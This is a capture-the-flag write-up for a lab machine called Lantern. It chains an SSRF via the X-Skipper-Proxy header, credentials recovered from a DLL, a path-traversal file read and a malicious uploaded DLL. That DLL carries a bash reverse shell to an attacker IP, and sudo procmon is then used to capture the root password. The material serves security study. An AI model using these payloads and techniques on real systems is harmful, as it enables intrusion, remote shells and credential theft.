Machine Card listing Lantern as a hard Linux box

Reconnaissance

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_  256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp   open  http    Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
|_http-server-header: Skipper Proxy
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
|     Content-Length: 207
|     Content-Type: text/html; charset=utf-8
|     Date: Tue, 15 Oct 2024 14:17:27 GMT
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Length: 225
|     Content-Type: text/html; charset=utf-8
|     Date: Tue, 15 Oct 2024 14:17:22 GMT
|     Location: http://lantern.htb/
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: HEAD, OPTIONS, GET
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Tue, 15 Oct 2024 14:17:22 GMT
|_    Server: Skipper Proxy
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 500 Internal Server Error
|     Connection: close
|     Content-Type: text/plain; charset=utf-8
|     Date: Tue, 15 Oct 2024 14:17:27 GMT
|     Server: Kestrel
|     System.UriFormatException: Invalid URI: The hostname could not be parsed.
|     System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
|     System.Uri..ctor(String uriString, UriKind uriKind)
|     Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
|     Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Content-Length: 0
|     Connection: close
|     Date: Tue, 15 Oct 2024 14:17:32 GMT
|     Server: Kestrel
|   Help:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Tue, 15 Oct 2024 14:17:27 GMT
|     Server: Kestrel
|   RTSPRequest:
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Length: 0
|     Connection: close
|     Date: Tue, 15 Oct 2024 14:17:32 GMT
|     Server: Kestrel
|   SSLSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Tue, 15 Oct 2024 14:17:48 GMT
|_    Server: Kestrel

The nmap scan found two web ports, 80 and 3000. Both of those have an interesting server header, Skipper Proxy and Kestrel respectively. There’s also a redirect to lantern.htb so I’ll add this to my /etc/hosts file.

HTTP (3000)

Browsing to port 3000 only shows a login prompt to LanternAdmin but none of the default credentials or simple authentication bypasses work. Within the HTML code of the pages I find a reference to blazor.server.js. This and the usage of Kestrel as server hints towards Blazor in Server mode.

Screenshot from the login prompt on port 3000

HTTP (80)

Screenshot of the webpage on port 80 showing a landscape with the title We Are Creative

The page on port 80 describes services offered by a company and it also lists open vacancies where I could apply by uploading my resume. Uploading a PDF file seems to work and I put multiple XSS payloads into the available fields, but get no callbacks.

Initial Access

Based on the Server: Skipper Proxy header in the response from the server I look for known exploits even though it does not expose a version number. I quickly find CVE-2022-38580 where one can perform SSRF through the X-Skipper-Proxy header in the request. Using http://10.10.10.10 as value generates a hit on my server.

BurpSuite showing a resposne of 500 for a closed port

This allows me to enumerate open ports on the internal network. Trying to access a (probably) closed port like 1337 returns 503 as status code, non-HTTP ports like 22 return 500 and otherwise I do get the HTTP response back. Checking the first 10000 ports returns 22, 80, 3000, 5000 and 8000.

ffuf -w <(for i in {1..10000}; do echo $i; done) \
     -u http://lantern.htb/ \
     -H 'X-Skipper-Proxy: http://127.0.0.1:FUZZ'
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://lantern.htb/
 :: Wordlist         : FUZZ: /proc/self/fd/12
 :: Header           : X-Skipper-Proxy: http://127.0.0.1:FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
22                      [Status: 500, Size: 22, Words: 3, Lines: 2, Duration: 67ms]
80                      [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 59ms]
3000                    [Status: 200, Size: 2837, Words: 334, Lines: 58, Duration: 73ms]
5000                    [Status: 200, Size: 1669, Words: 389, Lines: 50, Duration: 69ms]
8000                    [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 42ms]

The only new port is 5000, because 80 is the reverse proxy and 8000 the backend webserver, and querying the port through BurpSuite shows InternalLantern and references to Blazor again. This time it loads blazor.webassembly.js, so it might be the WebAssembly variant.

BurpSuite showing the response to a request to internal port 5000. With the title InternalLantern and a div with blazor highlighted

The file /_framework/blazor.boot.json contains a list of resources that need to be downloaded for the app to function1. Requesting this file through Burp might reveal interesting DLLs to download and inspect. Besides the Microsoft DLLs there’s also InternaLatern.dll, that I decide to download.

Accessing the blazor.boot.json through the SSRF

curl -H 'X-Skipper-Proxy: http://127.0.0.1:5000' \
     -o InternaLantern.dll \
     http://lantern.htb/_framework/InternaLantern.dll

Even though I could use tools to decompile the code, I start with floss to look for strings within the binary. In contrast to the regular strings, it attempts to deobfuscate code and also checks for strings in UTF-16LE encoding.

./floss InternaLantern.dll
WARNING: floss: .NET language-specific string extraction is not supported yet
WARNING: floss: FLOSS does NOT attempt to deobfuscate any strings from .NET binaries
Do you want to enable string deobfuscation? (this could take a long time) [y/N] N
INFO: floss: disabled string deobfuscation
INFO: floss: extracting static strings
INFO: floss: finished execution after 1.12 seconds
INFO: floss: rendering results
 
 
FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)
 
+------------------------+------------------------------------------------------------------------------------+
| file path              | InternaLantern.dll                                                                 |
| identified language    | dotnet (version unknown)                                                           |
| extracted strings      |                                                                                    |
|  static strings        | 818 (16531 characters)                                                             |
|   language strings     |   0 (    0 characters)                                                             |
|  stack strings         | Disabled                                                                           |
|  tight strings         | Disabled                                                                           |
|  decoded strings       | Disabled                                                                           |
+------------------------+------------------------------------------------------------------------------------+
--- SNIP ---
Data.db
JFMDK
John
Smith
SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20=
PPAOS
Anny
Turner
SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ==
UAYWP
Catherine
Rivas
RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20=
GMNZQ
Lara
Snyder
UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ==
XZCSF
Lila
Steele
SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20=
POMBS
Travis
Duarte
U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=
SELECT Id, Name, SecondName FROM employees WHERE Uid = '
--- SNIP ---

The strings that come back kind of resemble a database and decoding the base64 strings shows context information for the users. Especially the last strings is interesting because it contains the credentials admin:AJbFA_Q@925p9ap#22, belonging to a System Administrator.

$ base64 -d <<< "U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE="
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!

Using those credentials to log in on port 3000 works and I get access to the Admin Dashboard as Travis Duarte. There are multiple features available in the menu:

  • Files: File tree starting on /var/www/sites/lantern.htb with access to the file contents
  • Upload Content: Upload of customer avatars into /var/www/sites/lantern.htb/static/images
  • Health check: Monitoring of the main page
  • Logs: Access to the application logs
  • Uploaded resumes: The resumes that were uploaded on the main page

Admin Dashboard with access to the logs and a navigation pane on the left

Execution

The only interesting file to read through Files is app.py. It’s the source code of the application running behind the proxy on port 80 and shows an additional endpoint /PrivacyAndPolicy that was not visible before. It does take two parameters, lang and ext, and passes them without any sanitization to send_file(). This allows me to read any file on the system as long as the user running the code has access to it.

app.py
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os
 
app=Flask("__name__")
 
@app.route('/')
def index():
    if request.headers['Host'] != "lantern.htb":
        return redirect("http://lantern.htb/", code=302)
    return render_template("index.html")
 
@app.route('/vacancies')
def vacancies():
    return render_template('vacancies.html')
 
@app.route('/submit', methods=['POST'])
def save_vacancy():
    name = request.form.get('name')
    email = request.form.get('email')
    vacancy = request.form.get('vacancy', default='Middle Frontend Developer')
 
    if 'resume' in request.files:
        try:
            file = request.files['resume']
            resume_name = file.filename
            if resume_name.endswith('.pdf') or resume_name == '':
                filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
                upload_folder = os.path.join(os.getcwd(), 'uploads')
                destination = '/'.join([upload_folder, filename])
                file.save(destination)
            else:
                return "Only PDF files allowed!"
        except:
            return "Something went wrong!"
    return "Thank you! We will conact you very soon!"
 
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
    lang = request.args.get('lang')
    file_ext = request.args.get('ext')
    try:
            return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}') 
    except: 
            return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
 
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000)

Considering the . is mandatory, I have to get creative to read /etc/passwd. Luckily I already know a path containing a literal dot from the Files feature. But before hunting for files, I’ll finish up looking at the admin dashboard.

Hint

Using on of the dots from the path traversal also works, so the . in the folder name is just one way to do it ;)

$ curl 'http://lantern.htb/PrivacyAndPolicy?lang=../lantern&ext=htb/../../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www/sites:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tomas:x:1000:1000:tomas:/home/tomas:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false

Apart from choosing a module from the sidebar, I can also search for them. Adding a single letter in the search box already shows auto-complete suggestions and pressing enter on a non-existing module returns an error message leaking the path to the modules: /opt/compontents/{name}.dll.

As I already have a way to download files from the system I decide to retrieve FileUpload.dll and have a closer look at it with dnSpy.

curl 'http://lantern.htb/PrivacyAndPolicy?lang=../lantern&ext=htb/../../../../opt/components/FileUpload.dll' \
     -o FileUpload.dll

Inspecting the code does not reveal any juicy information but shows traces of the Microsoft.AspNetCore.Components Namespace. If I can create my own DLL and upload it to the server, I might be able to chain this into code execution.

Screenshot of dnSpy showing the decompiled source coude of the FileUpload component

First I create a new classlib called bash with dotnet. This creates a new folder with a stub Class1.cs. Then I add the necessary dependencies for AspNetCore.Components.

dotnet new classlib -n bash
 
cd bash
 
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0

Next I’ll add the structure from the decompiled DLL and a reverse shell to Class1.cs, before building the library with dotnet build -c release.

Class1.cs
using System;
using System.Diagnostics;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
 
namespace bash
{
    public class Component : ComponentBase
    {
        protected override void BuildRenderTree(RenderTreeBuilder __builder)
        {
            Process proc = new System.Diagnostics.Process();
            proc.StartInfo.FileName = "bash";
            proc.StartInfo.Arguments = "-c \"bash -i >& /dev/tcp/10.10.10.10/9001 0>&1\"";
            proc.StartInfo.UseShellExecute = false;
            proc.StartInfo.RedirectStandardOutput = true;
            proc.Start();
 
            while (!proc.StandardOutput.EndOfStream) {
              Console.WriteLine(proc.StandardOutput.ReadLine());
            }
        }
    }
}

Navigating to the Upload content view, I’ll set BurpSuite to intercept the request and pick the compiled DLL. Right after choosing the file I can see a new request with some gibberish payload where I can spot the string bash.dll.

Blazor is using serialized data to communicate and with the extension Blazor Traffic Processor it can be decoded easily. The data sent to the server is a serialized JSON object where I modify the name of the file to include a path traversal to /opt/compontents.

Screenshot of the BurpSuite Blazor Traffic Processor showing the modified path

Generating serialized data again and replacing the original payload with it, the request is forwarded and a success message is shown on the upload page.

Screenshot of the successful upload of the DLL

Searching for my DLL (bash) generates a new hit on my listener with a reverse shell as tomas and access to the first flag. The shell is somewhat unstable but there’s also a SSH key available.

Privilege Escalation

The user tomas is able to run /usr/bin/procmon as anyone root. ProcMon for Linux is the linux port of the Microsft Internal variant and can be used to trace system calls.

sudo -l
Matching Defaults entries for tomas on lantern:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User tomas may run the following commands on lantern:
    (ALL : ALL) NOPASSWD: /usr/bin/procmon

Poking around more on the system I find a mail from the human resources department welcoming tomas as new hire. He’s supposed to check out the admin’s work on /root/automation.sh, but that’s inaccessible for me.

/var/mail/tomas
From hr@lantern.htb Mon Jan 1 12:00:00 2023
Subject: Welcome to Lantern!
 
Hi Tomas,
 
Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board.
 
While we're setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need.
 
Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.
 
Exciting times ahead!
 
Best.

Having a look at the currently running processes reveals that root is editing the file with nano and this means I can potentially see some artifacts with procmon.

ps -e -o user,pid,ppid,cmd
--- SNIP ---
root        3975       1 /usr/bin/expect -f /root/bot.exp
root        3977    3975 nano /root/automation.sh
--- SNIP ---

The PID of the processes changes after a bit, leading me to believe that it’s necessary to catch the start of the editing. A quick script that starts to trigger procmon when there’s a new PID is starting the capture automatically. After a few minutes, the counter of the captured events does not increase anymore and I stop the program with Ctrl+C.

In order to have a better look at the data I transfer the SQLite3 database out.db with scp to my host.

catch.sh
#!/usr/bin/env bash
 
current_pid=$(pgrep nano)
echo "Currently running as PID ${current_pid}"
 
while /bin/true
do
    new_pid=$(pgrep nano)
    if [[ $current_pid -ne $new_pid ]];
    then
        echo "Now running as PID ${new_pid}"
        break
    fi
    sleep 0.5
done
 
# Only capture write events
sudo /usr/bin/procmon -p "${new_pid}" -e write -c out.db

There are three tables inside the database, stats, metadata and ebpf, that actually holds the interesting data. When writing data, the return code code resembles the number of bytes that were written and -1 in case of an error2. This means I can filter for all events with a code larger than 0. The data in the arguments column is stored as blob3, so it’s best to cast it to hex.

SELECT hex(arguments) FROM ebpf WHERE resultcode > 0;
--- SNIP ---
0100000000000000705B3F3235681B28426563686F34432842205265000100000000000000A0C53F87DF5500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
01000000000000001B5B3F3235681B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
01000000000000004D5B3F3235681B28426563686F34432842205265000100000000000000A0C53F87DF5500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

The first argument passed to the write function is the file descriptor and is then followed by a pointer to the actual buffer. This means I have to drop the first 8 characters and then read the number of bytes written (resultcode).

sqlite3 out.db \
        "SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;" \
        | xxd -ps -r
e
e
e
 
e
e
e
e
e
e
e
e
e
e
e
e
echo Q 33EEddddttddww33ppMMBB | s uuddoo . //bbaacckkuupp..sshh

Decoding the data with xxd reveals a string passed to a script. I’ll make an educated guess and say it’s a password and it looks like if the characters are duplicated. Removing every second character returns Q3Eddtdw3pMB.

This password works for root and I can read the final flag.

Attack Path

flowchart TD

subgraph "Initial access"
    A(SSRF) -->|"CVE-2022-38580\nEnumerate Local Ports"| B(Access to internal port 5000)
    B -->|Enumerate Blazor Application| C(Access to DLLs)
    C -->|DLL includes DB with Credentials| D(Access to Admin Dashboard)
    D -->|FileViewer| E(Access to Source Code)
end

subgraph "Execution"
    E -->|Identify LFI| F(Download Modules as DLL)
    F -->|Path Traversal in Upload Function| G(Upload malicious module)
    G -->|Call Module| H(Shell as tomas)
end

subgraph "Privilege Escalation"
    H -->|Find local mail| I(Hint towards automation script)
    I -->|Procmon to capture events| J(Capture file writes with root password)
    J --> L(Shell as root)
end

Footnotes

  1. ASP.NET Core Blazor WebAssembly .NET runtime and app bundle caching

  2. write(2)

  3. sqlite3_storage_engine.cpp